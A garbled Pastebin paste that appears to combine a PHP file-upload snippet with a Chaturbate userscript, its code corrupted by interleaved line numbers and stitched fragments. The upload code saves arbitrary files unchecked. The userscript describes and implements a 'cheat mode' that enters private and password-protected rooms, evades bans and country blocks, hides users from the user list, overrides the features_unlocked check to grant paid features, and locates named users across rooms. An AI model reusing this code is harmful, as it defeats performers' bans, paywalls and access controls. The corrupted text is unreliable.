Advertisement
jimgreeno

(CHMOD 1)

Sep 18th, 2017
647
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
jQuery 126.06 KB | None | 0 0
  1. https://chaturbate.com/ccox78/?-_js./embed_js.php?in/?join_overlay=1&campaign=$usernames.join&amp;=embed_video_only=0&disable_sound=1&bgcolor=transparent&tour=Jrvi&target=_parent%22++class%3D%22embe&room=$usernames.join_js./embed_js.php?i=in/?tour=9oGW&campaign=zM6MR&track=embed&room=jimgreenobigcock&bgcolor=transparent&disable_sound=0&embed_video_only=1&target=_parent' height=528 width=850 style='border: none;/'pastebin.ashxCHMOD1',context: $(this),...load the local file --> window.jQuery || document.write('<\/script>')location ~* /(?((([a-z]|[0-9]|-)+).)+([a-z])+)/(?.)+ return 301 $scheme:/$redirect_domain/$redirect_https://chaturbate.com/affiliates/?/api/api_login.php="/home/webs/dmonster.com/subdomain/files/";>-SIMPLETEXT->/ data.replace/new /RegExp( "\r", "g" ), d'');url: /'pastebin.ashxCHMOD1/(',context: $(this),...load the local file --> window.jQuery || document.write('<\/script>')> /(?((([a-z]|[0-9]|-)+).)+([a-z])+)/< ? php $numoffile = 1; // Fix path of 1your file to be uploaded, don't forget to (CHMOD1) to this folder$file_dir = "/home/webs/dmonster.com/subdomain/files/"; if ($_POST)   [{$file_dir}] =         [(CHMOD1)]=[$file]  [{$file_dir =($i=0;$i<$numoffile;$i++)]{  if (trim($_FILES[\'myfiles\'][\'name\'][$i])!="")} { $newfile = $file_dir.$_FILES[\'myfiles\'][\'name\'][$i];} { move_uploaded_file($_FILES[\'myfiles\'][\'tmp_name\'][$i], $newfile);{       { [ $j++; ><$object type=($_FILES"application) ;[$i]; $file_dir = chaturbate .com/js/*.js/subdomain/files/{if ($_POST) [$key,value[" fvsurvey,"]'myfiles']['name'][$i])![/js/*.js]=""){"action":2,"Qf":2,"Ge":1503526864230}" ignorelist,"{"users": []}" ignorelistlastfetch,1503527589177{["videoControls,"]{""volume":60,"La":false,"Ka":true}" ["window__chat,"][( CHMOD 7)]{"Ma":null,"Ra":null,"Fa":128,"Pa":0,"width":300,"height":250}"{if  (trim($_FILES['myfiles']['name'][$i])![$key,value[" fvsurvey,"]["videoControls,"]["window__chat,"][/js][/*.][js]="") {  for ($i=0;$i<$numoffile;";  $i++) } { [if] $newfile = $file_dir.$_FILES['myfiles']['name'][$i];  move_uploaded_file($_FILES['myfiles']['tmp_name'][$i], $newfile); [$j++; ] print "Your file(s) has been uploaded.} {[if] (isset($j)&&$j>0)} { if (isset($j)&&$j>0)}{ [if](print "< form method='post' enctype='multipart/form-data'>"; }{[if] (for($i=0;$i<$numoffile;$i++) }{ print "< input type='file' name='myfiles[]' size='301'><!--[if ](isset($browser = get_browser( null, true ); if( $browser['name'] == "chrome" ) if( $browser['majorversion'] == (64-bit ) if( echo "You're using chrome Version 60.0.3112.113 (64-bit)!"; "Your file(s) has been uploaded. print "< input type='submit' name='action' value='Upload$numoffile = CHMOD1;><!========== UserScript==========( CHMOD 1)//==(1)&(2)====================>
  2. // ==UserScript(1)=======================================================>
  3. // @name            chaturbate 7. 8. 9.4.
  4. //@description     chaturbate 16. 17.7.
  5. //@version        1 10. 11. 12.5.
  6. // @namespace      chaturbate 13. 14. 15.6.
  7.  // @include        http://*.chaturbate.com/*/ded/?-_js./embed_js.php? 18. 19.8.
  8. //@include          http://*.chaturbate.com//api/getchatuserlist/? 20. 21.9.
  9. //@include           http://chaturbate.com/* 22.23. 24.10.
  10. // @exclude         http://serve.ads.chaturbate.com/* 25. 26. 27.11.
  11. // @exclude          http://serve.ads.chaturbate.com/* 25. 26. 27.11.
  12. // @exclude          https://chaturbate.com/api/getchatuserlist/?
  13. // @run-at             document-start 28. 29. 30.12.
  14. // @grant               GM_getValue 31. 32. 33.13.
  15.  //@grant               GM_setValue 34. 35.
  16. // @grant               GM_addStyle 37. 38. 39.15.
  17. // @grant              GM_xmlhttpRequest 40. 41. 42.16.
  18. // @grant             GM_openInTab
  19. //@RUN=            @GET&TEST                  
  20. //@GET=            @TEST&UserScript
  21. <!--// ==/UserScript(1)=================================================?>  
  22.             43. 44. 45.17. 46. 47. 48.18. scversion = 16.7; 49. 50. 51.19. flashplayer="/static/flash/CBV_2p640.swf"; 52. 53. 54.20. 55. 56. 57.21.  
  23. <!--// ==/UserScript(2)=================================================?>  
  24.   // @name        Chaturbate Enhanced
  25. // @locale      en
  26. // @version     5.2.0
  27. // @author      stix
  28. // @description No Ads, Change Colors, Add Fav. Model Tab, Remove Profile Spam & Annoying Chat Tip GIFs, Deletes Exhibitionist Cams & More...
  29. // @icon        http://deplist.weebly.com/uploads/6/1/9/1/61911901/want.png
  30. // @include     https://chaturbate.com/*
  31. // @include     https://*.chaturbate.com/*
  32. // @exclude     https://chaturbate.com/emoticons/*
  33. // @exclude     https://chaturbate.com/accounts/*
  34. // @exclude     https://chaturbate.com/apps/*
  35. // @exclude     https://chaturbate.com/photo_videos/*
  36. // @namespace   https://greasyfork.org/en/scripts/16228-chaturbate-enhanced
  37. // @require     https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js
  38. // @require     https://greasyfork.org/scripts/19017-jscolor/code/jscolor.js?version=121257
  39. // @license     GPLv3; http://www.gnu.org/copyleft/gpl.html
  40. // @grant       none
  41. // ==/UserScript(1)=====================================================?>    
  42.  
  43. ==> //UserScript 43. 44. 45.17. 46. 47. 48.18. scversion = 16.7; 49. 50. 51.19. flashplayer="/static/flash/CBV_2p640.swf"; 52. 53. 54.20. 55. 56. 57.21.          
  44.  //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 58. 59. 60.22. // if you see this text then save the file as *- newchaturbate.user.js -* 61. 62. 63.23. //after saving open it inside chromeµsoft edge & and install it. 64. 65. 66.24. //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 67. 68. 69.25. // 70. 71. 72.26. !!!!!!!! 79. 80. 81.29. // V12+ 82. 83. 84.30. // Removes all advertisements 85. 86. 87.31. // Inserts a new video box if the room is password protected or if your banned or blocked 88. 89. 90.32. // More colums on the main screen and streched the chat box 91. 92. 93.33. // External links are no longer redirected 94. 95. 96.34. // Checks the version of the flash player and tries to use the same version on protectected rooms 97. 98. 99.35. // Shoutbox at the end of the screen 100. 101. 102.36. // By default the chat won't show emoticons 103. 104. 105.37. // 106. 107. 108.38. // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE ! 109. 110. 111.39. // 112. 113. 114.40. // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal 115. 116. 117.41. // webcam or to go to a webcam with special functions. 118. 119. 120.42. // On a normal cam page you have the option to go back to the profile page. 121. 122. 123.43. // 124. 125. 126.44. // special video mode where you can enter a streamkey 127. 128. 129.45. // 130. 131. 132.46. // only the last updates are mentioned here , the list became too long 133. 134. 135.47. // 136. 137. 138.48. // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any 139. 140. 141.49. // time you want. if the performer goes private or groep you will stil auto-follow to the private room 142. 143. 144.50. // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode 145. 146. 147.51. // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use 148. 149. 150.52. // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one 151. 152. 153.53. // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy 154. 155. 156.54. // v14.8 video server orgin3 added 157. 158. 159.55. // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names 160. 161. 162.56. // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string 163. 164. 165.57. // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be 166. 167. 168.58. // in broadcaster mode. You can open a room in clean Iframe mode. 169. 170. 171.59. // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user 172. 173. 174.60. // v15.3 all video options removed , tipping removed , fixed anon entry 175. 176. 177.61. // v15.4 fix for tipnotes 178. 179. 180.62. // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed 181. 182. 183.63. // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window 184. 185. 186.64. // v15.7 no more tip notes 187. 188. 189.65. // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!) 190. 191. 192.66. // v15.9 bug fix from 15.8 193. 194. 195.67. // v16.0 , number scipped 196. 197. 198.68. // v16.1 use of a random server in password room b.c. the static server was down. 199. 200. 201.69. // v16.2 fix for FF 23 , find a user added 202. 203. 204.70. // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added 205. 206. 207.71. // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update 208. 209. 210.72. // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup 211. 212. 213.73. // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo 214. 215. 216.74. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 217. 218. 219.75. 220. 221. 222.76. createCookie("agreeterms","1",1); 223. 224. 225.77. createCookie("np3","0",1); 226. 227. 228.78. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 229. 230. 231.79. 232. 233. 234.80. function do_script() { 235. 236. 237.81. 238. 239. 240.82. // some adjustment needed if we are in cheat mode 241. 242. 243.83. 244. 245. 246.84. if (readCookie("cheatmode")){ 247. 248. 249.85. mode=readCookie("cheatmode").split("&"); 250. 251. 252.86. eraseCookie("cheatmode","chaturbate.com"); 253. 254. 255.87. preformer=mode[0]; 256. 257. 258.88. anon=mode[1]; 259. 260. 261.89. mob=mode[2]; 262. 263. 264.90. document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;"); 265. 266. 267.91. base=document.createElement('BASE'); 268. 269. 270.92. url=document.location.href; 271. 272. 273.93. url=url.replace(document.location.href.split("/")[4],preformer); 274. 275. 276.94. url=url.split("?")[0]; 277. 278. 279.95. 280. 281. 282.96. base.setAttribute("href",url); 283. 284. 285.97. 286. 287. 288.98. document.getElementsByTagName('head')[0].appendChild(base); 289. 290. 291.99. 292. 293. 294.100. 295. 296. 297.101. text1="
  45. Welcome in "+preformer+"'s room.
  46.  
  47. "; 298. 299. 300.102. text2="
  48. You are an anonymous user and you can not chat.
  49.  
  50. "; 301. 302. 303.103. text3="
  51. You are in mobile mode and you are not visible in the userlist.
  52.  
  53. "; 304. 305. 306.104. text4='
  54. Enter the private room--------Leave the private room
  55. '; 307. 308. 309.105. text5="
  56. Return to the profile.
  57.  
  58. "; 310. 311. 312.106. 313. 314. 315.107. text=document.createElement('div'); 316. 317. 318.108. 319. 320. 321.109. textf=text1; 322. 323. 324.110. if(anon==1){textf=textf+text2} 325. 326. 327.111. if(mob==1){textf=textf+text3} 328. 329. 330.112. if((anon==1)&&(mob==0)){textf=textf+text4} 331. 332. 333.113. 334. 335. 336.114. text.id="cheat"; 337. 338. 339.115. 340. 341. 342.116. text.innerHTML=textf+text5; 343. 344. 345.117. 346. 347. 348.118. body=document.getElementsByTagName('body')[0]; 349. 350. 351.119. 352. 353. 354.120. body.insertBefore(text, body.firstChild); 355. 356. 357.121. 358. 359. 360.122. // fix abuse 361. 362. 363.123. abu=document.getElementById("report_popup"); 364. 365. 366.124. abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/"); 367. 368. 369.125. 370. 371. 372.126. // fix the tipping 373. 374. 375.127. tips=document.getElementsByClassName('tip_shell')[0]; 376. 377. 378.128. tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/"); 379. 380. 381.129. 382. 383. 384.130. } 385. 386. 387.131. 388. 389. 390.132. // always earase again, just in case we broke the page 391. 392. 393.133. eraseCookie("cheatmode","chaturbate.com"); 394. 395. 396.134. // earase these too 397. 398. 399.135. eraseCookie("latest_linked_timestamp"); 400. 401. 402.136. eraseCookie("latest_linked_username"); 403. 404. 405.137. eraseCookie("affkey"); 406. 407. 408.138. eraseCookie("fromaffiliate"); 409. 410. 411.139. 412. 413. 414.140. 415. 416. 417.141. // from here normal script 418. 419. 420.142. 421. 422. 423.143. // remove visible adds 424. 425. 426.144. ad = document.getElementsByClassName('ad'); 427. 428. 429.145. if (document.location.href.split("/")[3]!="b"){ 430. 431. 432.146. if (ad[1]){ad[1].parentNode.removeChild(ad[1])}} 433. 434. 435.147. 436. 437. 438.148. verstr='Special edition
  59. V '+scversion; 439. 440. 441.149. if(document.getElementById("player")){verstr=verstr+'
  60.  Debug chatbox: '} 442. 443. 444.150. if (ad[0]){ad[0].innerHTML=verstr} 445. 446. 447.151. 448. 449. 450.152. 451. 452. 453.153. ad = document.getElementsByClassName('banner')[0]; 454. 455. 456.154. if (ad){ad.parentNode.removeChild(ad)} 457. 458. 459.155. ad=document.getElementById("botright"); 460. 461. 462.156. if (ad){ad.parentNode.removeChild(ad)} 463. 464. 465.157. 466. 467. 468.158. // advert options on menu bars and check if your logged in 469. 470. 471.159. if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");} 472. 473. 474.160. notlogged = GM_getValue( "all" , 0 ); 475. 476. 477.161. bar=document.getElementById("nav"); 478. 479. 480.162. if (bar){ 481. 482. 483.163. barl=bar.getElementsByTagName('li'); 484. 485. 486.164. i=barl.length-1; 487. 488. 489.165. while (i != -1){ 490. 491. 492.166. d=barl[i].innerHTML; 493. 494. 495.167. if (d.indexOf('/login') != -1) {notlogged = 1} 496. 497. 498.168. if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--} 499. 500. 501.169. else{barl[i].parentNode.removeChild(barl[i]);i--} 502. 503. 504.170. }} 505. 506. 507.171. 508. 509. 510.172. // rss feed link 511. 512. 513.173. if(document.getElementsByClassName('wide')[0]){ 514. 515. 516.174. newli=document.createElement('li'); 517. 518. 519.175. newli.innerHTML="LAST ONLINE "; 520. 521. 522.176. if (bar){bar.appendChild(newli)}} 523. 524. 525.177. 526. 527. 528.178. // find user 529. 530. 531.179. if(document.getElementsByClassName('wide')[0]){ 532. 533. 534.180. newli=document.createElement('li'); 535. 536. 537.181. newli.innerHTML="FIND A USER "; 538. 539. 540.182. if (bar){bar.appendChild(newli)}} 541. 542. 543.183. 544. 545. 546.184. 547. 548. 549.185. // blog spam 550. 551. 552.186. ad = document.getElementsByClassName('featured_blog_posts')[0]; 553. 554. 555.187. if (ad){ad.parentNode.removeChild(ad)} 556. 557. 558.188. 559. 560. 561.189. // footer spam 562. 563. 564.190. ad = document.getElementsByClassName('featured_text')[0]; 565. 566. 567.191. if (ad){ad.parentNode.removeChild(ad)} 568. 569. 570.192. 571. 572. 573.193. // announcement banner 574. 575. 576.194. ad = document.getElementsByClassName('top-section')[0]; 577. 578. 579.195. if (ad){ 580. 581. 582.196. ad = ad.getElementsByTagName('img')[0]; 583. 584. 585.197. if (ad){ad.parentNode.removeChild(ad)}} 586. 587. 588.198. 589. 590. 591.199. // footer cleanup 592. 593. 594.200. ad = document.getElementsByClassName('footer-holder')[0]; 595. 596. 597.201. if (ad){ 598. 599. 600.202. ad1 = ad.getElementsByTagName('p')[3]; 601. 602. 603.203. if (ad1){ad1.parentNode.removeChild(ad1)} 604. 605. 606.204. ad1 = ad.getElementsByTagName('p')[2]; 607. 608. 609.205. if (ad1){ad1.parentNode.removeChild(ad1)} 610. 611. 612.206. ad1 = ad.getElementsByTagName('p')[1]; 613. 614. 615.207. if (ad1){ad1.parentNode.removeChild(ad1)} 616. 617. 618.208. ad1 = ad.getElementsByTagName('p')[0]; 619. 620. 621.209. if (ad1){ad1.parentNode.removeChild(ad1)}} 622. 623. 624.210. 625. 626. 627.211. // strech the screen 628. 629. 630.212. front=document.getElementsByClassName('c-1')[0]; 631. 632. 633.213. if(front) { 634. 635. 636.214. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 637. 638. 639.215. front=document.getElementsByClassName('c-1')[1]; 640. 641. 642.216. if(front) { 643. 644. 645.217. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 646. 647. 648.218. 649. 650. 651.219. // remove out of position images 652. 653. 654.220. container = document.getElementById("tabs_content_container") 655. 656. 657.221. if (container){ 658. 659. 660.222. var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br"); 661. 662. 663.223. for (n=0; nOPEN THE NORMAL CHAT "; 760. 761. 762.256. if (bar){bar.appendChild(newli)} 763. 764. 765.257. 766. 767. 768.258. 769. 770. 771.259. // go to semi password room 772. 773. 774.260. newli=document.createElement('li'); 775. 776. 777.261. pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4]; 778. 779. 780.262. newli.innerHTML="GO TO PASSWORD ROOM"; 781. 782. 783.263. if (bar){bar.appendChild(newli)}; 784. 785. 786.264. 787. 788. 789.265. // go to embedded room 790. 791. 792.266. newli=document.createElement('li'); 793. 794. 795.267. ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4]; 796. 797. 798.268. newli.innerHTML="OPEN THE ROOM IN A CLEAN PAGE"; 799. 800. 801.269. if (bar){bar.appendChild(newli)}; 802. 803. 804.270. 805. 806. 807.271. } // end only on profile page 808. 809. 810.272. 811. 812. 813.273. // graphic rss feed 814. 815. 816.274. function showfeed(){ 817. 818. 819.275. var x=document.getElementById("selector").selectedIndex; 820. 821. 822.276. feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ; 823. 824. 825.277. 826. 827. 828.278. GM_xmlhttpRequest({ 829. 830. 831.279. method: 'GET', 832. 833. 834.280. url: feedXml, 835. 836. 837.281. onload: function(response) { 838. 839. 840.282. xmlString=response.responseText; 841. 842. 843.283. 844. 845. 846.284. // dirty HTML parser, i can handle xml as html 847. 848. 849.285. xmldoc=document.createElement('div'); 850. 851. 852.286. xmldoc.innerHTML=xmlString; 853. 854. 855.287. 856. 857. 858.288. area=document.getElementsByClassName('content_body')[0]; 859. 860. 861.289. area.innerHTML=""; 862. 863. 864.290. 865. 866. 867.291. newdiv=document.createElement('div'); 868. 869. 870.292. area.appendChild(newdiv); 871. 872. 873.293. 874. 875. 876.294. holder=document.createElement('ul'); 877. 878. 879.295. holder.className="list"; 880. 881. 882.296. holder.id="check"; 883. 884. 885.297. newdiv.appendChild(holder); 886. 887. 888.298. 889. 890. 891.299. var items = new Array(); 892. 893. 894.300. items=xmldoc.getElementsByTagName('item'); 895. 896. 897.301. 898. 899. 900.302. blockstring='item2' 901. 902. 903.303. +' ' 904. 905. 906.304. +'
  61. ' 907. 908. 909.305. +'
  62. ' 910. 911. 912.306. +'item5' 913. 914. 915.307. +' ' 916. 917. 918.308. +'
  63. ' 919. 920. 921.309. +'' 922. 923. 924.310. +'
  64. ' 925. 926. 927.311. +'' 928. 929. 930.312. +'' 931. 932. 933.313. +'•item8
  65. ' 934. 935. 936.314. +'•item9 min. online - item10 viewers
  66. ' 937. 938. 939.315. +'' 940. 941. 942.316. +''; 943. 944. 945.317. 946. 947. 948.318. for (n=0; n= 24){Honline=Honline-24} 1012. 1013. 1014.340. 1015. 1016. 1017.341. d = new Date(); 1018. 1019. 1020.342. Hnow = d.getHours(); 1021. 1022. 1023.343. Mnow = d.getMinutes(); 1024. 1025. 1026.344. Snow = d.getSeconds(); 1027. 1028. 1029.345. 1030. 1031. 1032.346. secnow=(Hnow*60*60)+(Mnow*60)+Snow; 1033. 1034. 1035.347. seconl=(Honline*60*60)+(Monline*60)+Sonline; 1036. 1037. 1038.348. secdiff=Math.abs(secnow-seconl); 1039. 1040. 1041.349. mindiff=parseInt(secdiff/60); 1042. 1043. 1044.350. 1045. 1046. 1047.351. block=document.createElement('li'); 1048. 1049. 1050.352. block.setAttribute("style", "margin: 5px 5px 5px 5px;"); 1051. 1052. 1053.353. 1054. 1055. 1056.354. blockstring1=blockstring.replace("item1",image_url); 1057. 1058. 1059.355. blockstring1=blockstring1.replace("item2",title); 1060. 1061. 1062.356. blockstring1=blockstring1.replace("item3",guid); 1063. 1064. 1065.357. blockstring1=blockstring1.replace("item4",guid); 1066. 1067. 1068.358. blockstring1=blockstring1.replace("item5",username); 1069. 1070. 1071.359. blockstring1=blockstring1.replace("item6",gender); 1072. 1073. 1074.360. blockstring1=blockstring1.replace("item8",location_); 1075. 1076. 1077.361. blockstring1=blockstring1.replace("item9",mindiff); 1078. 1079. 1080.362. blockstring1=blockstring1.replace("item10",number_of_users_watching); 1081. 1082. 1083.363. 1084. 1085. 1086.364. block.innerHTML=blockstring1; 1087. 1088. 1089.365. 1090. 1091. 1092.366. holder.appendChild(block); 1093. 1094. 1095.367. 1096. 1097. 1098.368. } // end for 1099. 1100. 1101.369. 1102. 1103. 1104.370. setTimeout(function(){showfeed()},20000); 1105. 1106. 1107.371. 1108. 1109. 1110.372. } // end onload 1111. 1112. 1113.373. }); // end xmlhttp 1114. 1115. 1116.374. } // end function 1117. 1118. 1119.375. 1120. 1121. 1122.376. 1123. 1124. 1125.377. //finduser 1126. 1127. 1128.378. function finduser(){ 1129. 1130. 1131.379. fusern=document.getElementById("fusername").value; 1132. 1133. 1134.380. if (fusern == ""){alert("First fill in a username !");return false} 1135. 1136. 1137.381. 1138. 1139. 1140.382. document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist"; 1141. 1142. 1143.383. 1144. 1145. 1146.384. 1147. 1148. 1149.385. feedXml='http://chaturbate.com/tours/3/?p=1&c=1000'; 1150. 1151. 1152.386. 1153. 1154. 1155.387. GM_xmlhttpRequest({ 1156. 1157. 1158.388. method: 'GET', 1159. 1160. 1161.389. url: feedXml, 1162. 1163. 1164.390. onload: function(response) { 1165. 1166. 1167.391. responsedoc=response.responseText; 1168. 1169. 1170.392. 1171. 1172. 1173.393. // dirty HTML parser 1174. 1175. 1176.394. parse=document.createElement('div'); 1177. 1178. 1179.395. parse.innerHTML=responsedoc; 1180. 1181. 1182.396. 1183. 1184. 1185.397. var items = new Array(); 1186. 1187. 1188.398. items=parse.getElementsByClassName('title'); 1189. 1190. 1191.399. 1192. 1193. 1194.400. var olnames = new Array(); 1195. 1196. 1197.401. for (i=0; i"+fusern+"
  67.  
  68. "; 1228. 1229. 1230.412. 1231. 1232. 1233.413. i=0; 1234. 1235. 1236.414. checkroom(olnames,i); 1237. 1238. 1239.415. 1240. 1241. 1242.416. } // end onload xml 1243. 1244. 1245.417. 1246. 1247. 1248.418. }); // end xml 1249. 1250. 1251.419. 1252. 1253. 1254.420. } //end function 1255. 1256. 1257.421. 1258. 1259. 1260.422. 1261. 1262. 1263.423. function checkroom(olnames,i){ 1264. 1265. 1266.424. 1267. 1268. 1269.425. userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c"; 1270. 1271. 1272.426. 1273. 1274. 1275.427. document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : "+olnames[i]+"
  69. "; 1276. 1277. 1278.428. 1279. 1280. 1281.429. GM_xmlhttpRequest({ 1282. 1283. 1284.430. method: 'GET', 1285. 1286. 1287.431. url: userurl, 1288. 1289. 1290.432. onload: function(response) { 1291. 1292. 1293.433. data = response.responseText; 1294. 1295. 1296.434. if(data.indexOf(fusern+"|") != -1){ 1297. 1298. 1299.435. document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '"+fusern+"' found in room : "+olnames[i]+"
  70. "; 1300. 1301. 1302.436. } 1303. 1304. 1305.437. i++; 1306. 1307. 1308.438. if(i==olnames.length){ 1309. 1310. 1311.439. if(document.getElementsByClassName('content_body')[0].innerHTML==""){ 1312. 1313. 1314.440. document.getElementsByClassName('affiliate_options')[0].innerHTML="User '"+fusern+"' not found."} 1315. 1316. 1317.441. else{ 1318. 1319. 1320.442. document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."} 1321. 1322. 1323.443. return false} 1324. 1325. 1326.444. checkroom(olnames,i); 1327. 1328. 1329.445. } // end onload xml2 1330. 1331. 1332.446. }); // end xml2 1333. 1334. 1335.447. } 1336. 1337. 1338.448. 1339. 1340. 1341.449. // set up rss page 1342. 1343. 1344.450. if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){ 1345. 1346. 1347.451. document.title="Last cam's online"; 1348. 1349. 1350.452. area=document.getElementsByClassName('content_body')[0]; 1351. 1352. 1353.453. area.innerHTML=""; 1354. 1355. 1356.454. area=document.getElementsByClassName('affiliate_options')[0]; 1357. 1358. 1359.455. area.innerHTML='
  71. Last cam\'s online : Show allShow only femaleShow only maleShow only coupleShow only transsexual'; 1360. 1361. 1362.456. showfeed(); 1363. 1364. 1365.457. } 1366. 1367. 1368.458. 1369. 1370. 1371.459. // set up find a user page 1372. 1373. 1374.460. if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){ 1375. 1376. 1377.461. document.title="Find a user"; 1378. 1379. 1380.462. area=document.getElementsByClassName('content_body')[0]; 1381. 1382. 1383.463. area.innerHTML=""; 1384. 1385. 1386.464. area=document.getElementsByClassName('affiliate_options')[0]; 1387. 1388. 1389.465. area.innerHTML='
  72. Enter the name of the user you want to locate:
  73. '; 1390. 1391. 1392.466. document.getElementById("submit").addEventListener('click',function(){finduser();}, false); 1393. 1394. 1395.467. } 1396. 1397. 1398.468. 1399. 1400. 1401.469. // on a player page, if logged in, unlock features. 1402. 1403. 1404.470. if (play){ // player on the page ? 1405. 1406. 1407.471. if (!readCookie("logstatus")){save()} 1408. 1409. 1410.472. if(document.getElementById("defchat")){ 1411. 1412. 1413.473. scrip=document.createElement('script'); 1414. 1415. 1416.474. scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};"; 1417. 1418. 1419.475. document.getElementsByTagName('body')[0].appendChild(scrip); 1420. 1421. 1422.476. } 1423. 1424. 1425.477. 1426. 1427. 1428.478. // console logger 1429. 1430. 1431.479. if(document.getElementById("defchat")){ 1432. 1433. 1434.480. scrip=document.createElement('script'); 1435. 1436. 1437.481. 1438. 1439. 1440.482. scriptstring="flash_handler.consolelog = " 1441. 1442. 1443.483. +"function(msg2){" 1444. 1445. 1446.484. +"xaa=document.getElementsByClassName('chat-list')[0];" 1447. 1448. 1449.485. +"if(xaa){" 1450. 1451. 1452.486. +"msg3=unescape(msg2);" 1453. 1454. 1455.487. +"msg4='x';" 1456. 1457. 1458.488. +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){" 1459. 1460. 1461.489. +"msg4='
  74. '+msg3.substring(20)+'
  75. '}" 1462. 1463. 1464.490. +"if (msg3.indexOf('Notification privateshowrequest')!=-1){" 1465. 1466. 1467.491. +"msg4='
  76. '+msg3.substring(20)+'
  77. '}" 1468. 1469. 1470.492. +"if(document.getElementById('appnotice')){" 1471. 1472. 1473.493. +"if(document.getElementById('appnotice').checked==true){" 1474. 1475. 1476.494. +"msg4='
  78. '+msg3+'
  79. ';}}" 1477. 1478. 1479.495. +"if(msg4 != 'x'){" 1480. 1481. 1482.496. +"newdiv=document.createElement('div');" 1483. 1484. 1485.497. +"newdiv.className='text';" 1486. 1487. 1488.498. +"newdiv.innerHTML=msg4;" 1489. 1490. 1491.499. +"xaa.appendChild(newdiv);" 1492. 1493. 1494.500. +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){" 1495. 1496. 1497.501. +"xaa.scrollTop=xaa.scrollHeight}}}};"; 1498. 1499. 1500.502. 1501. 1502. 1503.503. scrip.innerHTML=scriptstring; 1504. 1505. 1506.504. document.getElementsByTagName('body')[0].appendChild(scrip); 1507. 1508. 1509.505. } 1510. 1511. 1512.506. 1513. 1514. 1515.507. 1516. 1517. 1518.508. // options page on normal player page 1519. 1520. 1521.509. if (splits[3]!="p"){ // no profile but still a player page = normal page 1522. 1523. 1524.510. newli=document.createElement('li'); 1525. 1526. 1527.511. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3]; 1528. 1529. 1530.512. newli.innerHTML="GO TO THE PROFILE PAGE WITH OPTIONS"; 1531. 1532. 1533.513. if (bar){bar.appendChild(newli)}} 1534. 1535. 1536.514. 1537. 1538. 1539.515. // shoutbox on all player pages 1540. 1541. 1542.516. newtab2=document.createElement('div'); 1543. 1544. 1545.517. newtab2.id="shout"; 1546. 1547. 1548.518. newtab2.innerHTML=sdata; 1549. 1550. 1551.519. document.getElementById("defchat").appendChild(newtab2); 1552. 1553. 1554.520. 1555. 1556. 1557.521. } // end player page 1558. 1559. 1560.522. 1561. 1562. 1563.523. // remove lock picture from thumb 1564. 1565. 1566.524. pictures = document.getElementsByClassName('preview'); 1567. 1568. 1569.525. if (pictures){ 1570. 1571. 1572.526. for (i=0; i'+uname+''; 1978. 1979. 1980.662. ulist.appendChild(div3); 1981. 1982. 1983.663. } 1984. 1985. 1986.664. }}) 1987. 1988. 1989.665. }} 1990. 1991. 1992.666. 1993. 1994. 1995.667. //popvid 1996. 1997. 1998.668. function popvid(){ 1999. 2000. 2001.669. vidwin=document.getElementById("player").innerHTML; 2002. 2003. 2004.670. popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no"); 2005. 2006. 2007.671. popUpWindow.document.writeln (''+vidwin+''); 2008. 2009. 2010.672. 